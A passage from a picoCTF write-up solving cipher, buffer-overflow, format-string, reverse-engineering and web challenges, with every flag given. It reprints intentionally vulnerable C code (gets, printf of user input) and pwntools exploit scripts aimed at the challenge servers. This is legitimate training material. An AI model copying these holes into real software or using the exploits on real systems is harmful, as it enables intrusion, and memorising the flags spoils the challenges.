CTFs (short for capture the flag) are a tjpe of computer securitj competitiol. Coltestalts are preseltei gith a set of challelges ghich test their 
creatiyitj, techlical (ali googlilg) seills, ali problem-solyilg abilitj. Challelges usuallj coyer a lumber of categories, ali ghel solyei, each jielis 
a strilg (callei a flag) ghich is submittei to al ollile scorilg seryice. CTFs are a great gaj to learl a giie arraj of computer securitj seills il a 
safe, legal elyirolmelt, ali are hostei ali plajei bj malj securitj groups arouli the gorli for ful ali practice. For this problem, the flag is: 
picoCTF{FT3WA3LCJ_4774CE5_4T3_C001_X57444FC}
Enter fullscreen mode Exit fullscreen mode

The text started to make more sense, and at this point, I was using

snpuPZKSNPUpzktbhvcxqfadjligye

picoCTFPICOctfrhsblemaugyndwvk

Which gave,

CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their 
creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields 
a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a 
safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: 
picoCTF{FT3WA3LCJ_4774CE5_4T3_C001_X57444FC}
Enter fullscreen mode Exit fullscreen mode

Now, I just had to replace the capital letters,

snpuPZKSNPUpzktbhvcxqfadjligyeTBHVCXQFADJLIGYEW

picoCTFPICOctfrhsblemaugyndwvkRHSBLEMAUGYNDWVKQ

Which gave,

CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their 
creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields 
a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a 
safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: 
picoCTF{FR3QU3NCY_4774CK5_4R3_C001_E57444AC}
Enter fullscreen mode Exit fullscreen mode

Therefore, the flag is,

picoCTF{FR3QU3NCY_4774CK5_4R3_C001_E57444AC}

substitution2 (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

cwaiaafqzczakailbmcwaijabbazclnbqzwaxwqowzswmmbsmtdrcaizasriqcusmtdacqcqmezqesbrxqeosunaidlciqmclexrzsunaiswlbbaeoacwazasmtdacqcqmezpmsrzdiqtliqbumezuzca
tzlxtqeqzcilcqmeprexltaeclbzjwqswliakaiurzaprblextlihaclnbazhqbbzwmjakaijanabqakacwadimdaidridmzamplwqowzswmmbsmtdrcaizasriqcusmtdacqcqmeqzemcmebucmcalsw
klbrlnbazhqbbznrclbzmcmoaczcrxaeczqecaiazcaxqelexafsqcaxlnmrcsmtdrcaizsqaesaxapaezqkasmtdacqcqmezliampcaeblnmiqmrzlpplqizlexsmtaxmjecmireeqeoswashbqzczle
xafasrcqeosmepqozsiqdczmppaezamecwamcwaiwlexqzwalkqbupmsrzaxmeafdbmilcqmelexqtdimkqzlcqmelexmpcaewlzabataeczmpdblujanabqakalsmtdacqcqmecmrswqeomecwamppae
zqkaabataeczmpsmtdrcaizasriqcuqzcwaiapmialnaccaikawqsbapmicaswakleoabqztcmzcrxaeczqeltaiqslewqowzswmmbzpricwaijanabqakacwlclerexaizclexqeompmppaezqkacasw
eqyrazqzazzaecqlbpmitmrecqeoleappascqkaxapaezalexcwlccwacmmbzlexsmepqorilcqmepmsrzaesmrecaiaxqexapaezqkasmtdacqcqmezxmazemcbalxzcrxaeczcmhemjcwaqiaeatulz
appascqkabulzcalswqeocwatcmlscqkabucwqehbqhalelcclshaidqsmscpqzlemppaezqkabumiqaecaxwqowzswmmbsmtdrcaizasriqcusmtdacqcqmecwlczaahzcmoaeailcaqecaiazcqesmt
drcaizsqaesaltmeowqowzswmmbaizcalswqeocwataemrowlnmrcsmtdrcaizasriqcucmdqyracwaqisriqmzqcutmcqklcqeocwatcmafdbmiamecwaqimjelexaelnbqeocwatcmnaccaixapaexc
waqitlswqeazcwapbloqzdqsmSCP{E6I4T_4E41U515_15_73X10R5_6SXLAL76}
Enter fullscreen mode Exit fullscreen mode

This time, it did not have spaces so guessing the words would be more difficult. I already did manual substitution in substitution0 and substitution1 so this time I decided to use an Automatic Monoalphabetic substitution decoder, which gave me,

Figure 1

This actually already gives the flag, but I wanted to differentiate between the lowercase and uppcase so decided to do manual substitution from here.

From the automatic substitution, it showed that it uses a character map set of,

abcdefghijklmnopqrstuvwxyz

eltpnxjkrwvaobgfiucmyqhdzs

Manual substitution gave me,

thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotanduscyberchallengethesecompetitionsfocusprimarilyonsyste
msadministrationfundamentalswhichareveryusefulandmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnotonlytoteach
valuableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsan
dexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffen
siveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetech
nizuesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyas
effectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincom
puterscienceamonghighschoolersteachingthemenoughaboutcomputersecuritytopizuetheircuriositymotivatingthemtoexploreontheirownandenablingthemtobetterdefendt
heirmachinestheflagispicoSCP{E6I4T_4E41U515_15_73X10R5_6SXLAL76}
Enter fullscreen mode Exit fullscreen mode

Now I just needed to substitute the uppercases,

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

eltpnxjkrwvaobgfiucmyqhdzsELTPNXJKRWVAOBGFIUCMYQHDZS

Which gave me,

thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotanduscyberchallengethesecompetitionsfocusprimarilyonsyste
msadministrationfundamentalswhichareveryusefulandmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnotonlytoteach
valuableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsan
dexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffen
siveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetech
nizuesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyas
effectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincom
puterscienceamonghighschoolersteachingthemenoughaboutcomputersecuritytopizuetheircuriositymotivatingthemtoexploreontheirownandenablingthemtobetterdefendt
heirmachinestheflagispicoCTF{N6R4M_4N41Y515_15_73D10U5_6CDAEA76}
Enter fullscreen mode Exit fullscreen mode

Therefore, the flag is,

picoCTF{N6R4M_4N41Y515_15_73D10U5_6CDAEA76}

transposition-trial (100 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VC85A020}E
Enter fullscreen mode Exit fullscreen mode

It tells us that every block of 3 got scrambled, so I rearranged each block of 3 by hand,

Figure 1

Therefore, the flag is,

picoCTF{7R4N5P051N6_15_3XP3N51V3_5C82A0E0}

Vigenere (100 points)

The challenge is the following,

Figure 1

We are also given the file cipher.txt which contains,

rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_a23a13a5}
Enter fullscreen mode Exit fullscreen mode

I went to CyberChef and used Vigenere decode with the key CYLAB, which gave,

Figure 1

Therefore, the flag is,

picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_y23c13p5}

diffie-hellman (200 points)

The challenge is the following,

Figure 1

We are also given the file message.txt which contains,

H98A9W_H6UM8W_6A_9_D6C_5ZCI9C8I_7IGK58KC
Enter fullscreen mode Exit fullscreen mode

I figured out that the shift used for the Caesar cipher is 5, so I went to Cryptii's Caesar Decoder, and used a shift of 5 with the alphabet,

abcdefghijklmnopqrstuvwxyz0123456789

Which gave me,

Figure 1

Therefore, the flag is,

picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_2DBF03F7}

Binary Exploitation

CVE-XXXX-XXXX (100 points)

The challenge is the following,

Figure 1

So I looked up remote code execution windows print spooler 2021 on Google, and found a site from Microsoft that listed vulnerabilities.

Figure 1

I saw that this was the first recorded remote code execution vulnerability in 2021 in the Windows Print Spooler Service, so I knew CVE-2021-34527 was the CVE I was looking for.

Therefore, the flag is,

picoCTF{CVE-2021-34527}

buffer overflow 0 (100 points)

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1. #include <stdio.h>
2. #include <stdlib.h>
3. #include <string.h>
4. #include <signal.h>
5. 
6. #define FLAGSIZE_MAX 64
7. 
8. char flag[FLAGSIZE_MAX];
9. 
10. void sigsegv_handler(int sig) {
11.   printf("%s\n", flag);
12.   fflush(stdout);
13.   exit(1);
14. }
15. 
16. void vuln(char *input){
17.   char buf2[16];
18.   strcpy(buf2, input);
19. }
20. 
21. int main(int argc, char **argv){
22.   
23.   FILE *f = fopen("flag.txt","r");
24.   if (f == NULL) {
25.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
26.                     "own debugging flag.\n");
27.     exit(0);
28.   }
29.   
30.   fgets(flag,FLAGSIZE_MAX,f);
31.   signal(SIGSEGV, sigsegv_handler); // Set up signal handler
32.   
33.   gid_t gid = getegid();
34.   setresgid(gid, gid, gid);
35. 
36. 
37.   printf("Input: ");
38.   fflush(stdout);
39.   char buf1[100];
40.   gets(buf1); 
41.   vuln(buf1);
42.   printf("The program will exit now\n");
43.   return 0;
44. }


Enter fullscreen mode Exit fullscreen mode

I saw that gets(buf1) in line 40 is used to read the user input, which does not check for the overflow, and is inputted to vuln(buf1) in line 41.
I saw that the buf2[16] buffer in line 17 in vuln() can be overflowed with 20 bytes into the code that reads flag.txt starting from line 23, so I prepared 20 A,

AAAAAAAAAAAAAAAAAAAA

I connected to the remote server, and inputted 20 A,

Figure 1

Therefore, the flag is,

picoCTF{ov3rfl0ws_ar3nt_that_bad_81929e72}

buffer overflow 1 (200 points)

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <string.h>
4.  #include <unistd.h>
5.  #include <sys/types.h>
6.  #include "asm.h"
7. 
8.  #define BUFSIZE 32
9.  #define FLAGSIZE 64
10. 
11. void win() {
12.   char buf[FLAGSIZE];
13.   FILE *f = fopen("flag.txt","r");
14.   if (f == NULL) {
15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
16.                     "own debugging flag.\n");
17.     exit(0);
18.   }
19. 
20.   fgets(buf,FLAGSIZE,f);
21.   printf(buf);
22. }
23. 
24. void vuln(){
25.   char buf[BUFSIZE];
26.   gets(buf);
27. 
28.   printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
29. }
30. 
31. int main(int argc, char **argv){
32. 
33.   setvbuf(stdout, NULL, _IONBF, 0);
34.   
35.   gid_t gid = getegid();
36.   setresgid(gid, gid, gid);
37. 
38.   puts("Please enter your string: ");
39.   vuln();
40.   return 0;
41. }
Enter fullscreen mode Exit fullscreen mode

Here, gets() is used in line 26, which is a vulnerable function because it doesn't check for overflow, so I will be exploiting that. I saw that the function win() is the function that contains the flag reader, so this is the function I want to jump to. I used pwndbg and used info functions.

Figure 1

I saw that win() was in 0x080491f6, so this is the return address that I want to overwrite. I know that 44 bytes can be used to overflow the buffer and rewrite the return address, so I prepared the padding of 44 A,

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I assumed that I needed to swap the endianness for the return address, so I used,

\xf6\x91\x04\x08

Then I put everything together into the following exploit.py,

from pwn import *

#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''

def start(server=True):
        if(server):
                return remote('saturn.picoctf.net', 53520)
        else:

                return process(['./vuln'])

io = start()

#io.recvuntil(">>")
a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
a += "\xf6\x91\x04\x08"
io.sendline(a)

io.interactive()

Enter fullscreen mode Exit fullscreen mode

I executed this script, which connected to the remote server and inputted the padding and return address,

Figure 1

Therefore, the flag is,

picoCTF{addr3ss3s_ar3_3asy_b9797671}

buffer overflow 2 (300 points)

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <string.h>
4.  #include <unistd.h>
5.  #include <sys/types.h>
6. 
7.  #define BUFSIZE 100
8.  #define FLAGSIZE 64
9. 
10. void win(unsigned int arg1, unsigned int arg2) {
11.   char buf[FLAGSIZE];
12.   FILE *f = fopen("flag.txt","r");
13.   if (f == NULL) {
14.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
15.                     "own debugging flag.\n");
16.     exit(0);
17.   }
18. 
19.   fgets(buf,FLAGSIZE,f);
20.   if (arg1 != 0xCAFEF00D)
21.     return;
22.   if (arg2 != 0xF00DF00D)
23.     return;
24.   printf(buf);
25. }
26. 
27. void vuln(){
28.   char buf[BUFSIZE];
29.   gets(buf);
30.   puts(buf);
31. }
32. 
33. int main(int argc, char **argv){
34. 
35.   setvbuf(stdout, NULL, _IONBF, 0);
36.   
37.   gid_t gid = getegid();
38.   setresgid(gid, gid, gid);
39. 
40.   puts("Please enter your string: ");
41.   vuln();
42.   return 0;
43. }
Enter fullscreen mode Exit fullscreen mode

Here, gets() is used in line 29, which is a vulnerable function because it doesn't check for overflow, so I will be exploiting that. I saw that the function win() is the function that contains the flag reader, so this is the function I want to jump to. I used pwndbg and used info functions like in buffer overflow 1.

Figure 1

I saw that win() was in 0x08049296, so this is the return address that I want to jump to. However, unlike buffer overflow 1, I had to also pass arguments 0xCAFEF00D and 0xF00DF00D to the win() function, as lines 20 and 22 checks for these.

Here, I saw that the buffer in line 28 can be overflowed with 112 bytes to rewrite the return address, so I prepared 112 A,

a = 'A' * 112

And I want to jump to the address 0x08049296 so I swapped the endian,

a += "\x96\x92\x04\x08"

I needed the input parameters to win() to be 0xCAFEF00D and 0xF00DF00D, so I first prepared a padding of 4 bytes,

a += "CCCC"

Then I prepared 0xCAFEF00D by swapping the endian,

a += "\x0d\xf0\xfe\xca"

Then I prepared 0xF00DF00D by swapping the endian,

a += "\x0d\xf0\x0d\xf0"

I put everything together into the following exploit2.py,

from pwn import *

#elf = context.binary = ELF("./vuln")
context.arch = 'amd64'
gs = '''
continue
'''

def start(server=True):
        if(server):
                return remote('saturn.picoctf.net', 52578)
        else:

                return process(['./vuln'])

io = start()

#io.recvuntil(">>")
a = 'A' * 112
a += "\x96\x92\x04\x08"
a += "CCCC"
a += "\x0d\xf0\xfe\xca"
a += "\x0d\xf0\x0d\xf0"
io.sendline(a)

io.interactive()

Enter fullscreen mode Exit fullscreen mode

I executed the script and passed the inputs to the remote server,

Figure 1

Therefore, the flag is,

picoCTF{argum3nt5_4_d4yZ_eb489c7a}

flag leak (300 points)

The challenge is the following,

Figure 1

We are also given the executable file vuln and its source code vuln.c,

1.  #include <stdio.h>
2.  #include <stdlib.h>
3.  #include <string.h>
4.  #include <unistd.h>
5.  #include <sys/types.h>
6.  #include <wchar.h>
7.  #include <locale.h>
8. 
9.  #define BUFSIZE 64
10. #define FLAGSIZE 64
11. 
12. void readflag(char* buf, size_t len) {
13.   FILE *f = fopen("flag.txt","r");
14.   if (f == NULL) {
15.     printf("%s %s", "Please create 'flag.txt' in this directory with your",
16.                     "own debugging flag.\n");
17.     exit(0);
18.   }
19. 
20.   fgets(buf,len,f); // size bound read
21. }
22. 
23. void vuln(){
24.    char flag[BUFSIZE];
25.    char story[128];
26. 
27.    readflag(flag, FLAGSIZE);
28. 
29.    printf("Tell me a story and then I'll tell you one >> ");
30.    scanf("%127s", story);
31.    printf("Here's a story - \n");
32.    printf(story);
33.    printf("\n");
34. }
35. 
36. int main(int argc, char **argv){
37. 
38.   setvbuf(stdout, NULL, _IONBF, 0);
39.   
40.   // Set the gid to the effective gid
41.   // this prevents /bin/sh from dropping the privileges
42.   gid_t gid = getegid();
43.   setresgid(gid, gid, gid);
44.   vuln();
45.   return 0;
46. }
47. 
Enter fullscreen mode Exit fullscreen mode

This problem is similar to a picoGYM challenge I did some time ago. I saw that line 30 scanf("%127s", story) has a format string vulnerability, where the memory can be leaked with %x. So I went ahead and connected to the remote server and inputted %x,

Figure 1

Which gave me ffee0140, so I tried more,

Figure 1

And I tried even more,

%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Enter fullscreen mode Exit fullscreen mode

Figure 1

Which gave me,

fff2a990fff2a9b08049346782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578252578256f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738fbad2000556b29000f7f4a990804c00080494100804c000fff2aa7880494182fff2ab24fff2ab300fff2aa9000f7d40ee5
Enter fullscreen mode Exit fullscreen mode

I saw that the following section might be ASCII,

6f6369707b4654436b34334c5f676e3167346c466666305f3474535f625f6b63653034387d393738

So I entered spaces between them,

6f 63 69 70 7b 46 54 43 6b 34 33 4c 5f 67 6e 31 67 34 6c 46 66 66 30 5f 34 74 53 5f 62 5f 6b 63 65 30 34 38 7d 39 37 38

And I went to CyberChef to convert it from hex,

Figure 1

This looked like the flag, but was scrambled up. So I assumed that I had to swap the endianness,

Figure 1

Therefore, the flag is,

picoCTF{L34k1ng_Fl4g_0ff_St4ck_b840e879}

Reverse Engineering

file-run1 (100 points)

The challenge is the following,

Figure 1

We are also given the executable file run.

I added executable permissions using,

$ chmod +x run

And executed using,

$ ./run

Which gave me,

Figure 1

Therefore, the flag is,

picoCTF{U51N6_Y0Ur_F1r57_F113_102c30db}

file-run2 (100 points)

The challenge is the following,

Figure 1

We are also given the executable file run.

I added executable permissions using,

$ chmod +x run

And executed with Hello!

$ ./run Hello!

Which gave me,

Figure 1

Therefore, the flag is,

picoCTF{F1r57_4rgum3n7_4653b5f6}

Web Exploitation

Inspect HTML (100 points)

The challenge is the following,

Figure 1

And the website looks like the following,

Figure 1

Inspecting element showed the following,

Figure 1

Therefore, the flag is,

picoCTF{1n5p3t0r_0f_h7ml_b6602e8e}

Includes (100 points)

The challenge is the following,

Figure 1

And the website looks like the following,

Figure 1

I viewed the source, which contained,


<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="style.css">
    <title>On Includes</title>
  </head>
  <body>
    <script src="script.js"></script>

    <h1>On Includes</h1>
    <p>Many programming languages and other computer files have a directive,
       often called include (sometimes copy or import), that causes the
       contents of a second file to be inserted into the original file. These
       included files are called copybooks or header files. They are often used
       to define the physical layout of program data, pieces of procedural code
       and/or forward declarations while promoting encapsulation and the reuse
       of code.</p>
    <br>
    <p> Source: Wikipedia on Include directive </p>
    <button type="button" onclick="greetings();">Say hello</button>
  </body>
</html>
Enter fullscreen mode Exit fullscreen mode

Here, style.css contained,

body {
  background-color: lightblue;
}

/*  picoCTF{1nclu51v17y_1of2_  */
Enter fullscreen mode Exit fullscreen mode

and script.js contained,

function greetings()
{
  alert("This code is in a separate file!");
}

//  f7w_2of2_4d305f36}
Enter fullscreen mode Exit fullscreen mode

Therefore, the flag is,

picoCTF{1nclu51v17y_1of2_f7w_2of2_4d305f36}

Discussion (0)